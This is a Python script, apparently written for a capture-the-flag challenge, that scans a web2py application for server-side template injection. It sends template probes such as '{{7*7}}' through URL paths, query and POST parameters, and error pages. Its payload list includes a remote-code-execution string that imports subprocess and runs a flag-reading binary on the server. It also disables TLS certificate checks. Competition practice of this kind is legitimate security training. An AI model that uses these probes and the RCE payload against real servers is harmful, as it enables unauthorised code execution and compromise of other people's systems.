#!/usr/bin/env python3
"""
Web2py SSTI Vulnerability Research Script
Testing for Server-Side Template Injection
"""

import requests
import urllib.parse
import urllib3

# Disable SSL warnings for self-signed certs
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

# Test payloads for SSTI detection
PAYLOADS = [
    # Basic math evaluation
    "{{7*7}}",
    "{{=7*7}}",
    
    # Python code execution attempts
    "{{=''.join(['a','b'])}}",
    "{{=''.__class__.__mro__[1]}}",
    
    # Import attempts
    "{{import os}}",
    "{{__import__('os')}}",
    
    # RCE attempts
    "{{=__import__('subprocess').check_output(['/readflag'])}}",
]

def test_url_path_injection():
    """Test if URL paths are reflected in error pages"""
    print("[*] Testing URL path injection...")
    
    test_paths = [
        "/welcome/default/{{7*7}}",
        "/welcome/{{7*7}}/index",
        "/{{7*7}}/default/index",
        "/welcome/default/nonexistent/{{7*7}}",
    ]
    
    for path in test_paths:
        try:
            url = BASE_URL + path
            print(f"\n[>] Testing: {url}")
            response = requests.get(url, verify=False, timeout=5)
            
            # Check if calculation was performed (49 would appear)
            if "49" in response.text:
                print(f"[!] POTENTIAL SSTI FOUND! Response contains '49'")
                print(f"    Status: {response.status_code}")
                print(f"    Preview: {response.text[:500]}")
            else:
                print(f"    Status: {response.status_code}")
                
        except Exception as e:
            print(f"    Error: {e}")

def test_query_parameters():
    """Test if query parameters are reflected in pages"""
    print("\n[*] Testing query parameter injection...")
    
    endpoints = [
        "/welcome/default/index",
        "/welcome/default/user",
        "/welcome/default/data",
    ]
    
    for endpoint in endpoints:
        for payload in PAYLOADS[:3]:  # Test first few payloads
            try:
                url = BASE_URL + endpoint
                params = {"test": payload, "name": payload, "id": payload}
                print(f"\n[>] Testing: {endpoint} with payload: {payload}")
                response = requests.get(url, params=params, verify=False, timeout=5)
                
                if "49" in response.text or "ab" in response.text:
                    print(f"[!] POTENTIAL SSTI FOUND!")
                    print(f"    Status: {response.status_code}")
                    print(f"    Preview: {response.text[:500]}")
                else:
                    print(f"    Status: {response.status_code} - No SSTI detected")
                    
            except Exception as e:
                print(f"    Error: {e}")

def test_error_pages():
    """Test if error pages reflect user input"""
    print("\n[*] Testing error page injection...")
    
    # Try to trigger various error conditions
    test_cases = [
        ("/welcome/default/{{7*7}}", "Invalid function name"),
        ("/welcome/{{7*7}}/index", "Invalid controller"),
        ("/{{7*7}}/default/index", "Invalid application"),
    ]
    
    for path, description in test_cases:
        try:
            url = BASE_URL + path
            print(f"\n[>] Testing {description}: {url}")
            response = requests.get(url, verify=False, timeout=5)
            
            print(f"    Status: {response.status_code}")
            
            # Look for template evaluation
            if "49" in response.text:
                print(f"[!] TEMPLATE INJECTION FOUND!")
                print(f"    The payload was evaluated!")
                print(f"\n--- Response Preview ---")
                print(response.text[:1000])
                print("--- End Preview ---\n")
                return True
            
            # Check if our payload is reflected at all
            if "{{7*7}}" in response.text or "{{7" in response.text:
                print(f"    Payload reflected but not evaluated")
                
        except Exception as e:
            print(f"    Error: {e}")
    
    return False

def test_post_requests():
    """Test POST parameters for SSTI"""
    print("\n[*] Testing POST parameter injection...")
    
    endpoints = [
        "/welcome/default/index",
        "/welcome/default/user",
    ]
    
    for endpoint in endpoints:
        for payload in PAYLOADS[:2]:
            try:
                url = BASE_URL + endpoint
                data = {"test": payload, "name": payload}
                print(f"\n[>] POST to {endpoint} with payload: {payload}")
                response = requests.post(url, data=data, verify=False, timeout=5)
                
                if "49" in response.text:
                    print(f"[!] POTENTIAL SSTI FOUND!")
                    print(f"    Preview: {response.text[:500]}")
                    
            except Exception as e:
                print(f"    Error: {e}")

if __name__ == "__main__":
    print("=" * 60)
    print("Web2py SSTI Vulnerability Research")
    print("Target:", BASE_URL)
    print("=" * 60)
    
    # Run all tests
    test_url_path_injection()
    test_query_parameters()
    test_error_pages()
    test_post_requests()
    
    print("\n[*] Testing complete!")
